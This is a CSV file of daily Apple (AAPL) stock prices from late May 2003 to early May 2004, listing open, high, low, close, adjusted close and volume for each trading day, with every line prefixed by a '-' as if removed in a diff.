-2003-05-30,1.2942856550216675,1.2985714673995972,1.2521429061889648,1.2821428775787354,1.1155935525894165,95687200.0,AAPL
-2003-06-02,1.2928571701049805,1.3064285516738892,1.2335714101791382,1.2464286088943481,1.0845186710357666,104647200.0,AAPL
-2003-06-03,1.2457143068313599,1.2621428966522217,1.2157143354415894,1.2364286184310913,1.0758178234100342,90214600.0,AAPL
-2003-06-04,1.235714316368103,1.270714282989502,1.2242857217788696,1.2571429014205933,1.0938411951065063,67800600.0,AAPL
-2003-06-05,1.2464286088943481,1.26714289188385,1.2378571033477783,1.2599999904632568,1.0963271856307983,51374400.0,AAPL
-2003-06-06,1.26714289188385,1.2885714769363403,1.2242857217788696,1.225000023841858,1.0658738613128662,60347000.0,AAPL
-2003-06-09,1.2100000381469727,1.2171428203582764,1.1878571510314941,1.1992857456207275,1.0434995889663696,64988000.0,AAPL
-2003-06-10,1.2064285278320312,1.2350000143051147,1.1964285373687744,1.2271428108215332,1.0677381753921509,44161600.0,AAPL
-2003-06-11,1.225000023841858,1.2507143020629883,1.2007142305374146,1.2464286088943481,1.0845186710357666,56278600.0,AAPL
-2003-06-12,1.2535713911056519,1.277142882347107,1.2464286088943481,1.2692856788635254,1.1044063568115234,63147000.0,AAPL
-2003-06-13,1.2678571939468384,1.2821428775787354,1.2235714197158813,1.2442857027053833,1.0826542377471924,47811400.0,AAPL
-2003-06-16,1.2571429014205933,1.3049999475479126,1.2464286088943481,1.3049999475479126,1.135481834411621,59631600.0,AAPL
-2003-06-17,1.315000057220459,1.3214285373687744,1.284999966621399,1.2992857694625854,1.130509614944458,44366000.0,AAPL
-2003-06-18,1.3178571462631226,1.3914285898208618,1.3078571557998657,1.3657143115997314,1.1883093118667603,113745800.0,AAPL
-2003-06-19,1.382857084274292,1.4007142782211304,1.3407143354415894,1.367142915725708,1.1895524263381958,95382000.0,AAPL
-2003-06-20,1.3821429014205933,1.3985713720321655,1.350000023841858,1.3714286088943481,1.1932810544967651,89136600.0,AAPL
-2003-06-23,1.3785713911056519,1.406428575515747,1.3392857313156128,1.3614286184310913,1.184580683708191,76840400.0,AAPL
-2003-06-24,1.3907142877578735,1.4049999713897705,1.337142825126648,1.341428518295288,1.1671781539916992,128595600.0,AAPL
-2003-06-25,1.3471428155899048,1.3857142925262451,1.3364285230636597,1.3635714054107666,1.186444640159607,82453000.0,AAPL
-2003-06-26,1.335714340209961,1.3799999952316284,1.335714340209961,1.3778570890426636,1.198874592781067,40426400.0,AAPL
-2003-06-27,1.3785713911056519,1.3792856931686401,1.3200000524520874,1.3378571271896362,1.1640708446502686,91448000.0,AAPL
-2003-06-30,1.3342857360839844,1.3721429109573364,1.3278571367263794,1.3614286184310913,1.184580683708191,55538000.0,AAPL
-2003-07-01,1.347857117652893,1.3700000047683716,1.3221428394317627,1.3635714054107666,1.186444640159607,45248000.0,AAPL
-2003-07-02,1.3592857122421265,1.3857142925262451,1.3585714101791382,1.3764286041259766,1.1976319551467896,81324600.0,AAPL
-2003-07-03,1.3571428060531616,1.3964285850524902,1.3557143211364746,1.3664286136627197,1.188930869102478,34442800.0,AAPL
-2003-07-07,1.3764286041259766,1.441428542137146,1.3664286136627197,1.4192856550216675,1.2349216938018799,71568000.0,AAPL
-2003-07-08,1.3942856788635254,1.4642857313156128,1.39214289188385,1.4571428298950195,1.2678613662719727,64184400.0,AAPL
-2003-07-09,1.4435714483261108,1.460714340209961,1.420714259147644,1.420714259147644,1.2361648082733154,53411400.0,AAPL
-2003-07-10,1.4199999570846558,1.4242857694625854,1.3835713863372803,1.3985713720321655,1.2168982028961182,42733600.0,AAPL
-2003-07-11,1.4042856693267822,1.4285714626312256,1.3949999809265137,1.4178571701049805,1.2336790561676025,34214600.0,AAPL
-2003-07-14,1.4292857646942139,1.4571428298950195,1.4192856550216675,1.4214285612106323,1.2367866039276123,47101600.0,AAPL
-2003-07-15,1.4299999475479126,1.4457142353057861,1.38785719871521,1.4007142782211304,1.218762993812561,51661400.0,AAPL
-2003-07-16,1.4264285564422607,1.4285714626312256,1.3842856884002686,1.4192856550216675,1.2349216938018799,62732600.0,AAPL
-2003-07-17,1.4421428442001343,1.4964286088943481,1.4378571510314941,1.4928570985794067,1.2989362478256226,187803000.0,AAPL
-2003-07-18,1.4928570985794067,1.51285719871521,1.4571428298950195,1.4900000095367432,1.2964504957199097,74709600.0,AAPL
-2003-07-21,1.4778571128845215,1.485714316368103,1.4500000476837158,1.4721428155899048,1.28091299533844,45952200.0,AAPL
-2003-07-22,1.4907143115997314,1.4971429109573364,1.4642857313156128,1.485714316368103,1.2927213907241821,49606200.0,AAPL
-2003-07-23,1.4964286088943481,1.4971429109573364,1.4614285230636597,1.4850000143051147,1.2920998334884644,35758800.0,AAPL
-2003-07-24,1.5028570890426636,1.5357142686843872,1.4557143449783325,1.465000033378601,1.27469801902771,57309000.0,AAPL
-2003-07-25,1.4578571319580078,1.5407142639160156,1.4571428298950195,1.5385714769363403,1.3387125730514526,54171600.0,AAPL
-2003-07-28,1.5357142686843872,1.5357142686843872,1.4900000095367432,1.4992856979370117,1.3045300245285034,42589400.0,AAPL
-2003-07-29,1.4992856979370117,1.5057142972946167,1.4657143354415894,1.4800000190734863,1.2877494096755981,49280000.0,AAPL
-2003-07-30,1.4835714101791382,1.4928570985794067,1.4407142400741577,1.4485714435577393,1.2604031562805176,43398600.0,AAPL
-2003-07-31,1.481428623199463,1.524999976158142,1.4692857265472412,1.5057142972946167,1.3101232051849365,75366200.0,AAPL
-2003-08-01,1.5,1.5192856788635254,1.4742857217788696,1.4807143211364746,1.288370966911316,37401000.0,AAPL
-2003-08-04,1.466428518295288,1.5357142686843872,1.4485714435577393,1.5149999856948853,1.318203091621399,57528800.0,AAPL
-2003-08-05,1.524999976158142,1.5285714864730835,1.4357142448425293,1.4557143449783325,1.2666184902191162,62360200.0,AAPL
-2003-08-06,1.4328571557998657,1.4407142400741577,1.3928571939468384,1.402142882347107,1.220005989074707,61366200.0,AAPL
-2003-08-07,1.4092856645584106,1.434999942779541,1.3871428966522217,1.4235714673995972,1.2386507987976074,43594600.0,AAPL
-2003-08-08,1.4364285469055176,1.4378571510314941,1.399999976158142,1.4028571844100952,1.2206274271011353,34414800.0,AAPL
-2003-08-11,1.4157142639160156,1.4235714673995972,1.393571376800537,1.4042856693267822,1.2218701839447021,34307000.0,AAPL
-2003-08-12,1.4114285707473755,1.414285659790039,1.3899999856948853,1.4071428775787354,1.2243562936782837,41109600.0,AAPL
-2003-08-13,1.4185714721679688,1.4528571367263794,1.3985713720321655,1.441428542137146,1.2541881799697876,71024800.0,AAPL
-2003-08-14,1.4435714483261108,1.4521428346633911,1.4242857694625854,1.4264285564422607,1.2411367893218994,48195000.0,AAPL
-2003-08-15,1.4299999475479126,1.433571457862854,1.4042856693267822,1.4078571796417236,1.224977731704712,31466400.0,AAPL
-2003-08-18,1.4185714721679688,1.4578571319580078,1.408571481704712,1.4528571367263794,1.264132022857666,48193600.0,AAPL
-2003-08-19,1.4550000429153442,1.460714340209961,1.4285714626312256,1.4514285326004028,1.2628892660140991,33422200.0,AAPL
-2003-08-20,1.441428542137146,1.5192856788635254,1.4385714530944824,1.5007143020629883,1.3057727813720703,68303200.0,AAPL
-2003-08-21,1.5021429061889648,1.5507142543792725,1.4964286088943481,1.5485714673995972,1.3474136590957642,63831600.0,AAPL
-2003-08-22,1.5578571557998657,1.5714285373687744,1.4742857217788696,1.4914286136627197,1.2976936101913452,62566000.0,AAPL
-2003-08-25,1.4842857122421265,1.493571400642395,1.4635714292526245,1.4900000095367432,1.2964504957199097,34445600.0,AAPL
-2003-08-26,1.4821428060531616,1.5049999952316284,1.4535714387893677,1.5035713911056519,1.3082588911056519,41239800.0,AAPL
-2003-08-27,1.493571400642395,1.5342856645584106,1.4757143259048462,1.5342856645584106,1.3349833488464355,56425600.0,AAPL
-2003-08-28,1.5235713720321655,1.587142825126648,1.5235713720321655,1.5850000381469727,1.3791100978851318,79906400.0,AAPL
-2003-08-29,1.585714340209961,1.6321429014205933,1.5750000476837158,1.6150000095367432,1.4052131175994873,65788800.0,AAPL
-2003-09-02,1.618571400642395,1.6357142925262451,1.600000023841858,1.6321429014205933,1.420129656791687,60533200.0,AAPL
-2003-09-03,1.6285713911056519,1.6657142639160156,1.6257143020629883,1.639285683631897,1.4263439178466797,67207000.0,AAPL
-2003-09-04,1.6542856693267822,1.6607142686843872,1.6264286041259766,1.6307142972946167,1.4188861846923828,49945000.0,AAPL
-2003-09-05,1.6235713958740234,1.6535714864730835,1.6007143259048462,1.6071428060531616,1.3983768224716187,60033400.0,AAPL
-2003-09-08,1.6057143211364746,1.6278570890426636,1.6050000190734863,1.6242856979370117,1.413292407989502,41811000.0,AAPL
-2003-09-09,1.6092857122421265,1.6192857027053833,1.5800000429153442,1.597857117652893,1.3902969360351562,45092600.0,AAPL
-2003-09-10,1.5892857313156128,1.6150000095367432,1.579285740852356,1.5842857360839844,1.3784887790679932,56222600.0,AAPL
-2003-09-11,1.5892857313156128,1.6278570890426636,1.5785714387893677,1.6114286184310913,1.4021055698394775,53421200.0,AAPL
-2003-09-12,1.60785710811615,1.6528571844100952,1.593571424484253,1.649999976158142,1.4356664419174194,44997400.0,AAPL
-2003-09-15,1.6292856931686401,1.6357142925262451,1.5800000429153442,1.5864285230636597,1.3803527355194092,56711200.0,AAPL
-2003-09-16,1.5864285230636597,1.6207143068313599,1.585714340209961,1.5971428155899048,1.3896753787994385,67251800.0,AAPL
-2003-09-17,1.597857117652893,1.5985714197158813,1.5607142448425293,1.5800000429153442,1.3747594356536865,72349200.0,AAPL
-2003-09-18,1.5785714387893677,1.64214289188385,1.5678571462631226,1.6342856884002686,1.4219932556152344,63226800.0,AAPL
-2003-09-19,1.6342856884002686,1.6464285850524902,1.6021428108215332,1.6128571033477783,1.403348684310913,51489200.0,AAPL
-2003-09-22,1.5842857360839844,1.6071428060531616,1.5657142400741577,1.5771428346633911,1.3722732067108154,44955400.0,AAPL
-2003-09-23,1.572857141494751,1.604285717010498,1.5628571510314941,1.6021428108215332,1.3940260410308838,33112800.0,AAPL
-2003-09-24,1.5864285230636597,1.593571424484253,1.5057142972946167,1.5228571891784668,1.3250393867492676,75321400.0,AAPL
-2003-09-25,1.5242856740951538,1.5264285802841187,1.4464285373687744,1.4592857360839844,1.2697257995605469,143595200.0,AAPL
-2003-09-26,1.4500000476837158,1.5499999523162842,1.4392857551574707,1.4778571128845215,1.285884976387024,86812600.0,AAPL
-2003-09-29,1.534999966621399,1.5478571653366089,1.475000023841858,1.5214285850524902,1.3237965106964111,91425600.0,AAPL
-2003-09-30,1.506428599357605,1.5157142877578735,1.4600000381469727,1.4800000190734863,1.2877494096755981,71356600.0,AAPL
-2003-10-01,1.479285717010498,1.5071429014205933,1.4421428442001343,1.4850000143051147,1.2920998334884644,59028200.0,AAPL
-2003-10-02,1.485714316368103,1.485714316368103,1.4485714435577393,1.4692857265472412,1.2784268856048584,51014600.0,AAPL
-2003-10-03,1.4992856979370117,1.5614285469055176,1.4914286136627197,1.5492857694625854,1.3480349779129028,74900000.0,AAPL
-2003-10-06,1.5478571653366089,1.5950000286102295,1.541428565979004,1.5921428203582764,1.3853249549865723,67082400.0,AAPL
-2003-10-07,1.5750000476837158,1.6721428632736206,1.565000057220459,1.658571481704712,1.443124532699585,104543600.0,AAPL
-2003-10-08,1.6607142686843872,1.6814285516738892,1.6235713958740234,1.6471428871154785,1.433180570602417,107167200.0,AAPL
-2003-10-09,1.664285659790039,1.6907142400741577,1.6278570890426636,1.6749999523162842,1.4574192762374878,86937200.0,AAPL
-2003-10-10,1.6785714626312256,1.7007142305374146,1.6692856550216675,1.691428542137146,1.4717135429382324,43709400.0,AAPL
-2003-10-13,1.6950000524520874,1.743571400642395,1.6942857503890991,1.7392857074737549,1.5133540630340576,69966400.0,AAPL
-2003-10-14,1.73714280128479,1.76714289188385,1.7278571128845215,1.7535713911056519,1.5257840156555176,68854800.0,AAPL
-2003-10-15,1.774999976158142,1.7864285707473755,1.7557142972946167,1.7728571891784668,1.5425646305084229,152525800.0,AAPL
-2003-10-16,1.7000000476837158,1.7028571367263794,1.6007143259048462,1.6607142686843872,1.4449890851974487,243920600.0,AAPL
-2003-10-17,1.6699999570846558,1.6778571605682373,1.6021428108215332,1.625,1.4139140844345093,89952800.0,AAPL
-2003-10-20,1.6142857074737549,1.6671428680419922,1.5985714197158813,1.658571481704712,1.443124532699585,69783000.0,AAPL
-2003-10-21,1.6649999618530273,1.6714285612106323,1.625,1.6557142734527588,1.440638542175293,44115400.0,AAPL
-2003-10-22,1.6385713815689087,1.6571428775787354,1.6200000047683716,1.6257143020629883,1.414535641670227,40399800.0,AAPL
-2003-10-23,1.6235713958740234,1.6535714864730835,1.6135714054107666,1.64214289188385,1.4288300275802612,41302800.0,AAPL
-2003-10-24,1.6114286184310913,1.6321429014205933,1.5878571271896362,1.6142857074737549,1.4045915603637695,54964000.0,AAPL
-2003-10-27,1.625,1.6349999904632568,1.606428623199463,1.6142857074737549,1.4045915603637695,40503400.0,AAPL
-2003-10-28,1.6114286184310913,1.697857141494751,1.600000023841858,1.6942857503890991,1.4741989374160767,62928600.0,AAPL
-2003-10-29,1.6792857646942139,1.7071428298950195,1.6671428680419922,1.6921428442001343,1.4723351001739502,66770200.0,AAPL
-2003-10-30,1.7135714292526245,1.7142857313156128,1.6335713863372803,1.6492856740951538,1.4350448846817017,65139200.0,AAPL
-2003-10-31,1.664285659790039,1.6678571701049805,1.6271429061889648,1.6349999904632568,1.4226149320602417,54538400.0,AAPL
-2003-11-03,1.6307142972946167,1.664285659790039,1.6271429061889648,1.6535714864730835,1.4387741088867188,75710600.0,AAPL
-2003-11-04,1.6478571891784668,1.649999976158142,1.6135714054107666,1.6364285945892334,1.4238580465316772,62308400.0,AAPL
-2003-11-05,1.6299999952316284,1.652142882347107,1.6050000190734863,1.6449999809265137,1.4313162565231323,80617600.0,AAPL
-2003-11-06,1.6364285945892334,1.6535714864730835,1.6178570985794067,1.6514285802841187,1.4369096755981445,99268400.0,AAPL
-2003-11-07,1.656428575515747,1.659999966621399,1.6035714149475098,1.6071428060531616,1.3983768224716187,52536400.0,AAPL
-2003-11-10,1.6035714149475098,1.6178570985794067,1.559999942779541,1.5642857551574707,1.361086368560791,58569000.0,AAPL
-2003-11-11,1.5642857551574707,1.572857141494751,1.5342856645584106,1.5385714769363403,1.3387125730514526,53768400.0,AAPL
-2003-11-12,1.5342856645584106,1.6228570938110352,1.5342856645584106,1.5950000286102295,1.3878110647201538,75000800.0,AAPL
-2003-11-13,1.5764285326004028,1.6114286184310913,1.5657142400741577,1.6014286279678345,1.393404483795166,53193000.0,AAPL
-2003-11-14,1.6057143211364746,1.6150000095367432,1.5199999809265137,1.5328571796417236,1.333740472793579,59262000.0,AAPL
-2003-11-17,1.524999976158142,1.5264285802841187,1.4964286088943481,1.5092856884002686,1.3132307529449463,57064000.0,AAPL
-2003-11-18,1.5149999856948853,1.5242856740951538,1.4535714387893677,1.4578571319580078,1.2684829235076904,66798200.0,AAPL
-2003-11-19,1.468571424484253,1.475000023841858,1.4471428394317627,1.458571434020996,1.2691043615341187,86146200.0,AAPL
-2003-11-20,1.4357142448425293,1.5057142972946167,1.4357142448425293,1.4557143449783325,1.2666184902191162,59897600.0,AAPL
-2003-11-21,1.4528571367263794,1.4700000286102295,1.4178571701049805,1.4485714435577393,1.2604031562805176,60459000.0,AAPL
-2003-11-24,1.4642857313156128,1.5192856788635254,1.460714340209961,1.5107142925262451,1.3144738674163818,95456200.0,AAPL
-2003-11-25,1.5164285898208618,1.5178571939468384,1.4721428155899048,1.4771428108215332,1.2852635383605957,67163600.0,AAPL
-2003-11-26,1.492142915725708,1.5107142925262451,1.4464285373687744,1.4800000190734863,1.2877494096755981,61282200.0,AAPL
-2003-11-28,1.4842857122421265,1.5049999952316284,1.4657143354415894,1.493571400642395,1.2995579242706299,19024600.0,AAPL
-2003-12-01,1.5028570890426636,1.5607142448425293,1.5,1.5507142543792725,1.3492779731750488,90384000.0,AAPL
-2003-12-02,1.5428571701049805,1.5642857551574707,1.5292856693267822,1.5385714769363403,1.3387125730514526,51324000.0,AAPL
-2003-12-03,1.5385714769363403,1.559999942779541,1.4971429109573364,1.5021429061889648,1.3070157766342163,47824000.0,AAPL
-2003-12-04,1.4957143068313599,1.5121428966522217,1.4835714101791382,1.5107142925262451,1.3144738674163818,44485000.0,AAPL
-2003-12-05,1.4928570985794067,1.5107142925262451,1.4807143211364746,1.4892857074737549,1.2958287000656128,46544400.0,AAPL
-2003-12-08,1.4842857122421265,1.5057142972946167,1.4578571319580078,1.5035713911056519,1.3082588911056519,37059400.0,AAPL
-2003-12-09,1.5121428966522217,1.5178571939468384,1.4571428298950195,1.460714340209961,1.2709686756134033,33786200.0,AAPL
-2003-12-10,1.460714340209961,1.4721428155899048,1.4257142543792725,1.4557143449783325,1.2666184902191162,67834200.0,AAPL
-2003-12-11,1.4464285373687744,1.5242856740951538,1.4435714483261108,1.5149999856948853,1.318203091621399,45784200.0,AAPL
-2003-12-12,1.5228571891784668,1.5228571891784668,1.4785714149475098,1.492142915725708,1.2983150482177734,48168400.0,AAPL
-2003-12-15,1.534999966621399,1.534999966621399,1.433571457862854,1.4407142400741577,1.2535665035247803,97227200.0,AAPL
-2003-12-16,1.4421428442001343,1.4635714292526245,1.4292857646942139,1.4371428489685059,1.2504594326019287,93489200.0,AAPL
-2003-12-17,1.4342857599258423,1.4378571510314941,1.4135714769363403,1.4199999570846558,1.235542893409729,68565000.0,AAPL
-2003-12-18,1.4214285612106323,1.441428542137146,1.4214285612106323,1.4314285516738892,1.2454874515533447,82728800.0,AAPL
-2003-12-19,1.4421428442001343,1.458571434020996,1.4014285802841187,1.4071428775787354,1.2243562936782837,113390200.0,AAPL
-2003-12-22,1.4035714864730835,1.420714259147644,1.375,1.4178571701049805,1.2336790561676025,94266200.0,AAPL
-2003-12-23,1.4228571653366089,1.4249999523162842,1.399999976158142,1.4149999618530273,1.231192946434021,77124600.0,AAPL
-2003-12-24,1.408571481704712,1.4707143306732178,1.4035714864730835,1.4578571319580078,1.2684829235076904,44368800.0,AAPL
-2003-12-26,1.4535714387893677,1.493571400642395,1.4528571367263794,1.4842857122421265,1.2914783954620361,25923800.0,AAPL
-2003-12-29,1.493571400642395,1.5114285945892334,1.4900000095367432,1.5107142925262451,1.3144738674163818,58364600.0,AAPL
-2003-12-30,1.51285719871521,1.5357142686843872,1.5107142925262451,1.5199999809265137,1.3225537538528442,51213400.0,AAPL
-2003-12-31,1.524999976158142,1.537857174873352,1.51285719871521,1.5264285802841187,1.3281469345092773,43612800.0,AAPL
-2004-01-02,1.539285659790039,1.5535714626312256,1.51285719871521,1.5199999809265137,1.3225537538528442,36160600.0,AAPL
-2004-01-05,1.5299999713897705,1.5992857217788696,1.5299999713897705,1.583571434020996,1.3778669834136963,98754600.0,AAPL
-2004-01-06,1.5892857313156128,1.6014286279678345,1.5507142543792725,1.5778571367263794,1.3728951215744019,127337000.0,AAPL
-2004-01-07,1.5785714387893677,1.6307142972946167,1.566428542137146,1.6135714054107666,1.4039697647094727,146718600.0,AAPL
-2004-01-08,1.631428599357605,1.6950000524520874,1.6178570985794067,1.6685714721679688,1.451825499534607,115075800.0,AAPL
-2004-01-09,1.6592856645584106,1.7235714197158813,1.6278570890426636,1.6428571939468384,1.4294512271881104,106864800.0,AAPL
-2004-01-12,1.6607142686843872,1.7142857313156128,1.649999976158142,1.6950000524520874,1.4748214483261108,121886800.0,AAPL
-2004-01-13,1.764285683631897,1.7742856740951538,1.704285740852356,1.722857117652893,1.4990594387054443,169754200.0,AAPL
-2004-01-14,1.7428570985794067,1.7528570890426636,1.6985714435577393,1.7285714149475098,1.504031777381897,155010800.0,AAPL
-2004-01-15,1.6364285945892334,1.6714285612106323,1.6071428060531616,1.6321429014205933,1.420129656791687,254552200.0,AAPL
-2004-01-16,1.6349999904632568,1.645714282989502,1.6150000095367432,1.6228570938110352,1.4120495319366455,93205000.0,AAPL
-2004-01-20,1.6192857027053833,1.6285713911056519,1.5892857313156128,1.6235713958740234,1.4126708507537842,78986600.0,AAPL
-2004-01-21,1.6214286088943481,1.6407142877578735,1.6021428108215332,1.6150000095367432,1.4052131175994873,56665000.0,AAPL
-2004-01-22,1.6114286184310913,1.6307142972946167,1.5842857360839844,1.5842857360839844,1.3784887790679932,51251200.0,AAPL
-2004-01-23,1.6014286279678345,1.6242856979370117,1.5892857313156128,1.6114286184310913,1.4021055698394775,56792400.0,AAPL
-2004-01-26,1.604285717010498,1.6471428871154785,1.6021428108215332,1.643571376800537,1.4300731420516968,67817400.0,AAPL
-2004-01-27,1.645714282989502,1.6607142686843872,1.6285713911056519,1.6478571891784668,1.4338021278381348,76767600.0,AAPL
-2004-01-28,1.631428599357605,1.6699999570846558,1.6007143259048462,1.6085714101791382,1.399619698524475,68850600.0,AAPL
-2004-01-29,1.6164286136627197,1.6285713911056519,1.5850000381469727,1.6200000047683716,1.4095637798309326,53174800.0,AAPL
-2004-01-30,1.6178570985794067,1.6335713863372803,1.6014286279678345,1.6114286184310913,1.4021055698394775,46324600.0,AAPL
-2004-02-02,1.604285717010498,1.6292856931686401,1.5771428346633911,1.5942857265472412,1.387189507484436,71857800.0,AAPL
-2004-02-03,1.5928571224212646,1.600000023841858,1.5714285373687744,1.590000033378601,1.3834604024887085,45203200.0,AAPL
-2004-02-04,1.5714285373687744,1.5778571367263794,1.5499999523162842,1.5564285516738892,1.3542498350143433,76388200.0,AAPL
-2004-02-05,1.558571457862854,1.6364285945892334,1.5578571557998657,1.6014286279678345,1.393404483795166,88211200.0,AAPL
-2004-02-06,1.6035714149475098,1.6349999904632568,1.600000023841858,1.6221429109573364,1.4114280939102173,48335000.0,AAPL
-2004-02-09,1.6157143115997314,1.632857084274292,1.6071428060531616,1.6192857027053833,1.4089421033859253,47065200.0,AAPL
-2004-02-10,1.6157143115997314,1.6514285802841187,1.6028571128845215,1.6414285898208618,1.428208351135254,63835800.0,AAPL
-2004-02-11,1.6492856740951538,1.7050000429153442,1.6464285850524902,1.7000000476837158,1.479171633720398,87136000.0,AAPL
-2004-02-12,1.6864285469055176,1.7135714292526245,1.6857142448425293,1.6950000524520874,1.4748214483261108,45997000.0,AAPL
-2004-02-13,1.7035714387893677,1.7214285135269165,1.6307142972946167,1.6428571939468384,1.4294512271881104,78995000.0,AAPL
-2004-02-17,1.649999976158142,1.6778571605682373,1.649999976158142,1.6542856693267822,1.4393956661224365,42739200.0,AAPL
-2004-02-18,1.6557142734527588,1.6742857694625854,1.6464285850524902,1.6614285707473755,1.445610523223877,35408800.0,AAPL
-2004-02-19,1.666428565979004,1.6885714530944824,1.6007143259048462,1.6050000190734863,1.3965121507644653,80770200.0,AAPL
-2004-02-20,1.6071428060531616,1.60785710811615,1.5864285230636597,1.600000023841858,1.3921616077423096,69400800.0,AAPL
-2004-02-23,1.5957143306732178,1.604285717010498,1.5635714530944824,1.5850000381469727,1.3791100978851318,48519800.0,AAPL
-2004-02-24,1.5814285278320312,1.6242856979370117,1.5714285373687744,1.5971428155899048,1.3896753787994385,64764000.0,AAPL
-2004-02-25,1.591428518295288,1.6357142925262451,1.5864285230636597,1.6292856931686401,1.4176431894302368,69069000.0,AAPL
-2004-02-26,1.6342856884002686,1.6557142734527588,1.6285713911056519,1.645714282989502,1.4319374561309814,49602000.0,AAPL
-2004-02-27,1.6399999856948853,1.7157143354415894,1.639285683631897,1.708571434020996,1.486629605293274,117209400.0,AAPL
-2004-03-01,1.7214285135269165,1.735714316368103,1.7050000429153442,1.7157143354415894,1.4928447008132935,80420200.0,AAPL
-2004-03-02,1.7142857313156128,1.7214285135269165,1.697857141494751,1.7007142305374146,1.479792833328247,64171800.0,AAPL
-2004-03-03,1.6857142448425293,1.7278571128845215,1.6857142448425293,1.708571434020996,1.486629605293274,56282800.0,AAPL
-2004-03-04,1.7092857360839844,1.8014285564422607,1.7078571319580078,1.7971428632736206,1.5636955499649048,165055800.0,AAPL
-2004-03-05,1.7821428775787354,1.9635714292526245,1.7785714864730835,1.909999966621399,1.6618927717208862,385149800.0,AAPL
-2004-03-08,1.9014285802841187,1.9135714769363403,1.8428571224212646,1.8571428060531616,1.6159015893936157,130718000.0,AAPL
-2004-03-09,1.850000023841858,1.9450000524520874,1.8392857313156128,1.9357142448425293,1.6842666864395142,154590800.0,AAPL
-2004-03-10,1.9314285516738892,2.009999990463257,1.9242857694625854,1.9771428108215332,1.7203140258789062,251741000.0,AAPL
-2004-03-11,1.947857141494751,2.002857208251953,1.934999942779541,1.9392857551574707,1.6873737573623657,148962800.0,AAPL
-2004-03-12,1.9514285326004028,1.9842857122421265,1.9407142400741577,1.968571424484253,1.7128559350967407,82306000.0,AAPL
-2004-03-15,1.9307142496109009,1.9535714387893677,1.8757143020629883,1.889285683631897,1.643869400024414,120429400.0,AAPL
-2004-03-16,1.8964285850524902,1.9007142782211304,1.8135714530944824,1.8442857265472412,1.6047148704528809,151358200.0,AAPL
-2004-03-17,1.854285717010498,1.8842856884002686,1.841428518295288,1.8707143068313599,1.6277103424072266,102858000.0,AAPL
-2004-03-18,1.8528571128845215,1.8614286184310913,1.8278571367263794,1.833571434020996,1.5953925848007202,80270400.0,AAPL
-2004-03-19,1.8257142305374146,1.9242857694625854,1.8242857456207275,1.8471428155899048,1.6072006225585938,102144000.0,AAPL
-2004-03-22,1.8121428489685059,1.8692857027053833,1.8035714626312256,1.8471428155899048,1.6072006225585938,104757800.0,AAPL
-2004-03-23,1.8485714197158813,1.8571428060531616,1.8014285564422607,1.8064285516738892,1.571774959564209,96378800.0,AAPL
-2004-03-24,1.8049999475479126,1.8392857313156128,1.8049999475479126,1.8214285373687744,1.5848267078399658,107053800.0,AAPL
-2004-03-25,1.867142915725708,1.9221428632736206,1.8492857217788696,1.9192856550216675,1.6699724197387695,141611400.0,AAPL
-2004-03-26,1.9285714626312256,1.954285740852356,1.9221428632736206,1.9314285516738892,1.6805375814437866,104973400.0,AAPL
-2004-03-29,1.9550000429153442,1.9992856979370117,1.9428571462631226,1.993571400642395,1.7346082925796509,87682000.0,AAPL
-2004-03-30,1.981428623199463,1.9964286088943481,1.9528571367263794,1.9942857027053833,1.7352300882339478,89919200.0,AAPL
-2004-03-31,1.9942857027053833,1.9985713958740234,1.9249999523162842,1.9314285516738892,1.6805375814437866,97693400.0,AAPL
-2004-04-01,1.920714259147644,1.947857141494751,1.9014285802841187,1.9364285469055176,1.684888243675232,79583000.0,AAPL
-2004-04-02,1.9821428060531616,1.9950000047683716,1.9450000524520874,1.9642857313156128,1.7091269493103027,68619600.0,AAPL
-2004-04-05,1.9628571271896362,2.026428461074829,1.9600000381469727,2.022857189178467,1.7600901126861572,96418000.0,AAPL
-2004-04-06,1.979285717010498,2.010714292526245,1.9592857360839844,1.9878571033477783,1.7296361923217773,64498000.0,AAPL
-2004-04-07,1.9721428155899048,1.9785714149475098,1.9228571653366089,1.9507142305374146,1.697318434715271,63779800.0,AAPL
-2004-04-08,1.9914286136627197,2.0,1.9428571462631226,1.966428518295288,1.7109911441802979,60229400.0,AAPL
-2004-04-12,1.9642857313156128,2.0071427822113037,1.9635714292526245,2.002857208251953,1.7426882982254028,57635200.0,AAPL
-2004-04-13,1.9985713958740234,2.002142906188965,1.9171428680419922,1.9235714673995972,1.6737011671066284,109099200.0,AAPL
-2004-04-14,1.909999966621399,1.933571457862854,1.8792856931686401,1.9028571844100952,1.6556780338287354,159933200.0,AAPL
-2004-04-15,2.0585713386535645,2.1128571033477783,2.0114285945892334,2.0928571224212646,1.8209965229034424,440361600.0,AAPL
-2004-04-16,2.0821428298950195,2.093571424484253,2.0357143878936768,2.0842857360839844,1.813538908958435,100732800.0,AAPL
-2004-04-19,2.0085713863372803,2.0535714626312256,1.9878571033477783,2.0250000953674316,1.761954426765442,178088400.0,AAPL
-2004-04-20,2.015000104904175,2.0292856693267822,1.968571424484253,1.9807143211364746,1.7234218120574951,88629800.0,AAPL
-2004-04-21,1.9714285135269165,2.0085713863372803,1.9550000429153442,1.9807143211364746,1.7234218120574951,81468800.0,AAPL
-2004-04-22,1.968571424484253,2.01285719871521,1.9364285469055176,1.9842857122421265,1.7265287637710571,86146200.0,AAPL
-2004-04-23,1.9785714149475098,2.0,1.9321428537368774,1.9785714149475098,1.7215567827224731,78957200.0,AAPL
-2004-04-26,1.9700000286102295,1.9742857217788696,1.9285714626312256,1.9378571510314941,1.6861313581466675,57782200.0,AAPL
-2004-04-27,1.9457142353057861,1.9600000381469727,1.906428575515747,1.9242857694625854,1.6743230819702148,70966000.0,AAPL
-2004-04-28,1.9157142639160156,1.9292857646942139,1.881428599357605,1.889285683631897,1.643869400024414,57792000.0,AAPL
-2004-04-29,1.889285683631897,1.9285714626312256,1.8557143211364746,1.9121428728103638,1.6637572050094604,115197600.0,AAPL
-2004-04-30,1.9078571796417236,1.9257142543792725,1.8207142353057861,1.841428518295288,1.6022289991378784,116625600.0,AAPL
-2004-05-03,1.8571428060531616,1.8807142972946167,1.8385714292526245,1.86214280128479,1.6202523708343506,74408600.0,AAPL
-2004-05-04,1.8550000190734863,1.8964285850524902,1.8214285373687744,1.867142915725708,1.6246027946472168,69995800.0,AAPL
-2004-05-05,1.8714286088943481,1.9107142686843872,1.854285717010498,1.9035714864730835,1.656299114227295,59526600.0,AAPL
-2004-05-06,1.8857142925262451,1.9107142686843872,1.850000023841858,1.8985713720321655,1.6519488096237183,65889600.0,AAPL
-2004-05-07,1.8964285850524902,1.9692857265472412,1.8964285850524902,1.9049999713897705,1.6575419902801514,104759200.0,AAPL
